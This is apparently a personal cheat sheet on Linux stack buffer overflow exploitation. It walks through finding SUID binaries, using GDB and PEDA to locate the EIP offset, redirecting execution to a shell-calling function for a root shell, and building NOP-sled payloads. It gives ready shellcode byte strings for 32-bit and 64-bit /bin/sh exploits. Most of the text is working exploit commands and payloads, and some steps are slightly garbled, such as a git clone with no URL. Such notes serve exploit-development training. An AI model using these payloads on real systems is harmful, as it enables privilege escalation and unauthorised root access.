Analyse ELF

# Find SUID
find / -perm -u=s -type f 2>/dev/null

# Analyse
file <program>
ltrace <program>
strings <program>

Install GDB and PEDA

sudo apt-get install gdb
ulimit -c unlimited

# if cores arent being created use below as root
echo "core" > /proc/sys/kernel/core_pattern

# Install PEDA
git clone ~/peda
echo "source ~/peda/" >> ~/.gdbinit

# Find program vulnerable to buffer overflow
# Create buffer
python -c 'print "A"*2000' > 2k.txt

# Pipe buffer to program 
cat 2k.txt | ./vulnerableprogram

# If crashes a core should be dumped

# Analyse core 
gdb -q vulnerableprogram ./core

GDB Shortcuts

b = breakpoint
c = continue
disas = disasemble
x/s = hexadecimal string at address
x/40wx $esp-0x200 = hexadecimal 40 words in hex of $esp register - 200 bytes

info functions
info registers

Find Offset

# Open Core 
gcb -q vulnerableprogram ./core

# View available options 
help pattern

# Create pattern with unique strings to find overflow
pattern create 2000 pattern.txt

# Run pattern without leaving gdb
run < pattern.txt

# can also do 'pattern_create 2000' which will print to screen
# can then use 'run "pattern"' to execute

# Will show the memory address that fails (e.g 0x41426e41 in ??))
# Find offset of that address within gdb
pattern offset 0x<address>

# Quit gdb

# Will give us bytes for offset, create an overflow that goes to that address
python -c 'print "A"*<offsetbytes> + "BBBB"' > eip.txt

# Go back into GDB
gdb -q vulnerableprogram ./core

# Run EIP
run < eip.txt

# Should now see all BBBB so we can write to the correct location
# Quit GDB

Find Functions

# Open new GDB
gdb -q vulnerableprogram 

# List functions within gdb
info functions

# Look for non standard functions
# Analyse them 
disas <function>
e.g. disas main

# Instruction directly before system call is a string, analyse the string 
# Push <address1>
# call <address2> <system@plt>
x/s <address1> 

Function calling shell on SUID

# If the string above is a call to a shell and its a suid program 
# Then this function can be used for a root shell

# Write the buffer with the address of the start of the function 
# This has to be little endian and is the function entry point 
# In the below the entry point was 0x080484cb

python -c 'print "A"*<offsetbytes> + "\xcb\x84\x04\x08"'> root.txt

# Launch GDB
gdb -q vulnerableprogram

# Run exploit
run < root.txt

# May see shell spawn but die instantly. This is due to SDTIN Closing early.
# Can bypass with piping input to SUID program like below
(cat root.txt; cat) | ./vulnerableprogram

# This should keep it open 
# If dev has been done on a copy in a writeable location, now point to live 

(cat root.txt; cat) | /home/xdev/Desktop/vulnerableprogramsuid

# Prove root shell 

# Spawn full TTY
python -c 'import pty;pty.spawn("/bin/sh")'


# Run python in GDB
run `python`

# python script has sc and buffers / nops etc

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50                           # NOP Sled
payload += sc                                 # Add shellcode
payload += "A"*(390-50-len(sc))               # Fill buffer - nop - shellcode
payload += "\xe0\xf2\xff\xbf"                 # EIP = 0xbffff2c0

print payload

# Above spawns a bash shell. (values change obvs)

# EIP might need changing outside of GDB due to environment variable changes.
# If so run program like below
./program `python`

# open dump
gdb -q ./program ./core

# debug
x/40wx $esp-0x200

# Look for the old EIP and if its still valid. Choose a new one in the NOP sled

64 Bit

# Look into registers more
# ESP changes to RSP
# EIP changes to RIP 

Code below is an example in 64bit using a stack overflow to call /bin/sh

from struct import pack

buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfc\x4e\xe5\x0e\x7e\x6b\xa5"
buf += "\x19\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x96\x75\xbd\x97\x36\xd0\x8a\x7b\x95\x20\xca\x7d\x16"
buf += "\x6b\xf6\x51\x75\xa9\x8d\x23\x1d\x6b\xa5\x51\x75\xa8"
buf += "\xb7\xe6\x76\x6b\xa5\x19\xd3\x2c\x8c\x60\x51\x18\xcd"
buf += "\x19\xaa\x19\xad\x87\x98\x64\xa0\x19"

payload = "\x90"*40 #NOP Sled
payload += buf      # Shellcode
payload += "A"*(128-len(buf)) #Padding to fill out buffer 
payload += pack("<Q", 0x7fffffffe418) #Setting return address to one in NOP sled 

print payload

Last updated